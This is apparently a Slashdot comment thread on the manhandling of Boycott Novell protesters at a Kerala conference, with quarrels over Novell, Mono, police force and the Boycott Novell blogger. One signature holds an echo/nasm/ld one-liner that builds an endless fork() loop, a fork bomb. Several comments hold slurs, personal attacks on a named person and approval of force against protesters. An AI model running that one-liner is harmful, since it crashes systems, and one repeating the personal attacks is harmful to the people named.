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Boycott Novell Protesters Manhandled In India
James Mathew writes "This is an interesting story from Kerala, India, where the ruling Communist Party organized a national conference in its efforts to hijack the Free Software Movement, which has enviable roots in the state. They got Novell to sponsor it. On the second day of the conference, a few free software activists who displayed posters against Novell were manhandled by the organizers and police — typical of what is expected from them. Most of the snaps taken during the scuffle were forcefully deleted by the organizers, after seizing the protesters' mobile phones. Still they couldn't delete all. Here is another blow-by-blow account."
Why am I not surprised that the makers of Groupwise are communist sympathisers.
Conservation of angular momentum makes the world go round.
The pictures don't show anything and any people quoted would have vested interests.
Free Software activists start a protest on private property, are asked to leave by owners/organisers and forgo negotiation, instead opting for point-blank refusal. This leads to a confrontation because both of both parties being excessively stubborn.
Sounds like 50/50 blame split to me.
Sorry, but the Boycott Novell people are complete retards to begin with. To my knowledge they don't actually produce anything for the open source community, but they sit around and bitch and whine about Novell who employs all kinds of open source hackers; including kernel hackers, GTK and GNOME hackers, window manager hackers, Mono hackers, accessibility hackers, open source artists, and more. Sorry if I have very little sympathy for the situation. It's not that I think anyone should be 'manhandled' under any situation, but these guys are the most inconsiderate members of the "open source community" and it's hard for me to really take most things they say very seriously.
You know, the die-hard haters who come out of the woodwork every time Novell is mentioned, dredging up the years old Microsoft deal, which I predicted at the time would have zero impact on Linux and FOSS and have been vindicated in that prediction - except for the haters.
These people really don't give a damn about Linux or FOSS - all they care about is establishing that they're more "moral" than everyone else by opposing any interoperability deals with Microsoft. The fact that the average corporation couldn't care less and only wants some assurance that their Linux deployment will work with their Microsoft deployment is ignored by these morons. The fact that this allows Novell to improve, however small, Linux's penetration into the data center and corporations doesn't interest them either. The fact that whatever Novell agreed to in the deal in terms of "patent protection" is overwhelmingly irrelevant to any future patent cases (which so far haven't materialized and are unlikely to - and unlikely to be won by Microsoft when they do, as countless people have pointed out) doesn't matter to these clowns either.
Only their juvenile emotional well-being matters to them - and of course, damaging the emotional well-being of everyone else who disagrees with their fanaticism.
Fuck 'em.
Richard Steven Hack - This sig is TOO GODDAMN SHORT TO DO ANYTHING USEFUL WITH! MORONS!
Lesson for next time: Use a phone with automatic blogging so the photos are off the phone and on the Net before they can stop you.
The objections of BoycottNovell.com against Novell make no sense to me: Microsoft's deal with Novell hasn't affected anybody negatively, and Novell continues to make valuable contributions to the FOSS communities (note: I'm an Ubuntu user, and although I like Mono better than Java, I don't use it much).
At the top of my list of companies that claim to be open source-friendly but that actually have dangerous agendas would be Sun, Apple, and Nokia. All of those companies have big patent portfolios, deals with Microsoft, and patent deals, and they have frequently acted against the interests of open source and open standards, and we still don't boycott them. Furthermore, although those other companies talk a lot about their contributions, Novell is probably responsible for a lot more software that people use day-to-day.
The police are probably twitter sockpuppets.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I've always found it very difficult to chose whether or not to back those who support my own aims for all the wrong reasons.
"A witty saying proves nothing." - Voltaire
By that reasoning, you should boycott anything Linus or the BSD community produce: when those projects started, their kernels and tools were under considerable legal uncertainty. AT&T and other vendors claimed lots of copyrights and patents. You also shouldn't use Java because Sun has numerous patents on Java.
Open source has always been pushing the limits on patents, copyrights, and cloning, and open source has always been rubbing powerful vendors the wrong way. If anything, the legal situation surrounding Mono is better than it was for Linux or Java: with Mono, we have a public commitment from Microsoft that the core is free (the core that FOSS Mono software actually uses), and nobody has been able to identify patents that read on the core language, libraries, or runtime.
The only reason people get pushed out of shape about Mono is because of the Microsoft connection. But let me tell you: the original UNIX overlords were just as nasty and monopolistic and people still adopted Linux and made it a success.
There has never been a time in my life when some person of supposed authority have made any attempt to force me to delete photographs from my digital camera. Perhaps I am just not taking photos of important things. But should that happen I might gleefully comply if I didn't want to make a big deal about it.
Many digital cameras use VFAT filesystems which means their contents can be recovered. The utility of my personal choice is photorec(1). The photorec utility runs quite well on Linux. Just use /bin/dd to make an image of the SCSI disk to your HDD, run photorec with the device file as the parameter.
Photorec is written by Christophe GRENIER (no, I am not he) and can be found at:
http://www.cgsecurity.org/
It's true no man is an island, but if you take a bunch of dead guys and tie 'em together, they make a good raft.
Yeah, because everyone is a twitter sockpuppet.
Look, zealous protesters on private property and zealous policemen aside, Roy Schestowitz is just a kid with massive amounts of time on his hands and a grudge the size of Ireland. He's an unemployed college dropout who lives with his parents (I'm not kidding here) and his credibility level is less than zero. Occasionally he'll write up something interesting, but with his seemingly 24/7/365 posting activity (just head on to COLA to get an idea) most of what he writes is just self-referential gobbledygook of no value whatsoever. Six or seven thousand-word-plus posts per day? No way.
Anyone who thinks Microsoft made Hans Reiser kill his wife, claims he turned down a "six figure" job because they asked him for a Word document or posts things like these shouldn't be taken seriously. Even a broken clock is right twice a day, and that's what he banks on. The rest is really just his inexperience, insane hatred and child-like demeanor showing through.
That blog is nothing more than an endless stream of misrepresentations, thinly veiled lies, witch hunts and weird "THIS IS WHAT YOU SHOULD BE SCARED OF" prose, accentuated by what I suppose he thinks are "funny" photoshopped images of people and things he thinks are out to get him. A few days ago he wrote up a storm about all the journalists he estimated had been "bribed" by Microsoft because they got evaluation laptops with Windows 7, and a few of those people actually humoured him by stopping by and explaining why they wouldn't throw away decades of journalistic experience and reputation for a $2,000 laptop, but he just ignored them. Hey, he's right and he knows it.
Linux.com featured an article by Bruce Byfield on this. Roy has a retinue of about half a dozen hanger-ons why post up a storm whenever and wherever anyone criticizes his abrasive "advocacy", which can be seen clearly there... don't miss the fact that our very own favorite troll is also chummy with him (I mean if you needed an excuse). It seems he does these days is post links to Schestowitz's blog with his fourteen accounts anyway.
I'm sure it's important to keep an eye out for Microsoft and all, but by god, this guy is just bad news for the FOSS community. He brings out the worst of the "OMG I HATE MICROSOFT, I AM ANGRY AND I'M GOING TO DO SOMETHING ABOUT IT!!!" crowd. On purpose, I'm sure. Because the more abrasive he becomes, the more people dislike him and the more he can claim he's being "stalked" and "targeted" by the Evil Empire (TM). That kid is trapped in a vicious circle he built for himself. He needs to take a deep breath, go outside and play or something. He's so desperate and impatient to make a name for himself but he goes about it with such incompetence (volume != quality) that sometimes I think he must be sponsored by someone or something like that. Hell, he's already claiming Microsoft and Novell are directly responsible for all this.
Anyway, teh internet is serious business and all that...
T.I.A.
This is India.
Hey common it would happen anywhere in the world.
Try spreading anti-microsoft pamphlets in a microsoft conference and you will be escorted out by a security team. And will be "manhandled" if you refuse to.
None of the photos show any kind of unnecessary violence. Unless those photos were deleted as said in TFA.
BAIN http://www.devslashzero.com
The event was not organized by the Communist Party. Communist Party is promotting Free Software on several occasions and they have a good stand on Free Software. The event organizers are as seen here at the event site http://nfm2008.atps.in./ Some of the organizers were not having enough exposure to the Free Software world. That actually led to the situation of Novell being the platinum sponsor of the event. The whole problem is because of the igorance of the organizers on the subject. The organizers mishandled the subject without realizing the issue, as they have little knowledge about the issue raised by us.
Our concern was about Novell, and we wanted the general public to know the truth. For that we raised the posters telling them the reasons of boycott Novell. We didnot boycott the event. We did participate the event and tried to correct the organizers and tried to pass the correct information to the public. The organizers didnt realize this and they took their position with Novell due to their ignorance. and this mishandling of this issue caused the problems.
Anyway the organizers (CP(I)M is not among the organizers ) owe an appology to free software community regarding this.
I think the way slashdot presented the issue is misleading. This is not an issue between Communist party and Free Software people.
On behalf of the protestors
Shyam K
Lesson for next time: Use a phone with automatic blogging so the photos are off the phone and on the Net before they can stop you.
"What's this? Where are the photos you took?" "You uploaded them to a website?"
Then you get to enjoy a free trip in the back of a truck to somewhere with a net connection, and then you get pushed in front of a monitor and keyboard and told to log in and delete the photos by men with guns.
Your idea is great in a country where the police won't threaten to shoot you. Even here in the US, if they don't like you enough, you'll "resist arrest" and need a trip to the hospital; it happened to a photojournalism student in Provincetown, MA when the cops didn't like him taking photos of them beating the shit out of drunks.
Why do you think NYC doesn't supply flashlights to the cops and banned its officers from carrying Maglites larger than 3 D-cells? It's because cops used them to beat the shit out of people...
Please help metamoderate.
This incident does bring up the question of what we will do when a government, NGO, or criminal group like the Mafia decides that Open Source software belongs to them and that people must pay a fee to them for using it...
Which is precisely what you have here. M$ tried via SCO to scuttle Linux. It turned out that SCO hadn't a leg to stand on. So, enter the Novel-M$ SW Patent deal where de Icaza and other receipt-carrying M$ Boosters inject proprietary technology into otherwise free and open source projects. Novell differs from SCO in that this time around there is a trail of receipts showing that yes you do owe M$money for their products even though they were readily available for download.
People have been good about readying the licenses for the main packages, but de Icaza and co. target the libraries and other components that these packages are built on. Combine that with a marketing team that hangs around Slashdot and goes after sites like Boycott Novell and they have made some headway. To be sure, Mono wastes a lot of space on the Ubuntu installation CD. Space which could have been used by Free Software. So even without the sw patent deal, Mono is technologically unsound.
Then there are Novell's attacks against OpenOffice.org and the OpenDocument Format. But that speaks for itself.
At the beginning it was simply described as a stupid move. Novell/M$ is a problem that is getting worse, mostly due to the noise they make and the interference they cause in free and open source projects. The patent pact put Novell outside the free and open source software community. The actions since then have only proven this to be more so.
Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
So-called piracy only helps M$ against FOSS. See this 2006 LA Times article:
Advocating piracy in order to undercut competitors has carried M$ through the decades even now:
The only way for the market situation to get better is to avoid any and all use of M$Âproducts, including "pirated" ones.
Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
If you are being a jerk, don't be surprised if you are treated like a jerk.
Sometimes these protesters get exactly what they are asking for, and in this case it sounds like they were begging and asking for a violent confrontation.
Unless there is evidence to the contrary, I think the physical force used "to silence the other side of the debate" was properly used.
It was the protesters who were doing the unethical behavior in this instance. There is a whole lot more to the story than what was published. I could give analogies, but this is something like going to a UK Soccer match wearing the colors of the visiting team and yelling obscenities about the home team.... in the middle of a bunch of drunken fans.
Well, not quite, but they certainly should have been aware of the fact that what they (the protesters at this conference) were doing wasn't welcome and may not be tolerated by the other participants. There certainly are a great many analogies to apply here to show this was a stupid idea.
There are many Communist parties. This is the Communist Party of India (Marxist) - the CPI(M) or CPM. It is known for doing stuff like this. They're leftist only in name, have neo-liberal policies in their own state, and oppose anything American because it is American.
In addition, they're idiots. They kill people who oppose them (Singur, Nandigram). Their so-called activists, burn, rape and pillage. I, a leftist, would choose the Congress Party of India over the CPM any day.
In addition, they have thin skins, criticising the CPI(M) is A Bad Thing. "Don't you have any respect? How dare you say something about such a respected party" No, fuck you. Lumpen crap.
Footnote: This is the case with most big things in India, the BJP and the Congress are no different, except that they don't hide what they are, and the Congress is a bit too wimpy to shut people up.
you are right. Protesters that chain themselves to a fence deserve to be Tazered over and over and over again. come on they chained themselves to a fence! chains can kill! the cops need to tazer the man so many time because of how dangerous he was! HE WAS ASKING FOR IT!
the following is from a previous slashdot discussion...
"this is also considered resisting arrest and in situations officers will repeatedly tazer a limp person to torture them or pay them back for making them work. This happens a lot with protesters who make 2 or more cops carry them off, One who chained himself to a fence was tazered enough times that the cop had to get a second tazer as he emptied his. The man refused to unlock himself, the cop was too pig headed to get a set of bolt cutters and drag him off and was intent in teaching the protester a lesson.
http://www.ourmedia.org/node/55217
http://digg.com/world_news/Police_attack_PEACEFUL_Anti_War_Protestors_with_tasers_dogs_pepper_spray
http://politics.slashdot.org/article.pl?sid=07/09/18/1239237
for the actual slashdot article.
Sorry, but cops and "authorities" love to physically assault peaceful protesters. It happens so much I almost wonder if they train them to do it.
Back in the 50's and 60' it was not unheard of corrupt cops being beaten severely off duty, but they also fired and blackballed dirty cops then when they discovered they were doing wrong... today they get a 3 month paid vacation and protected by their other gang members.
Do not look at laser with remaining good eye.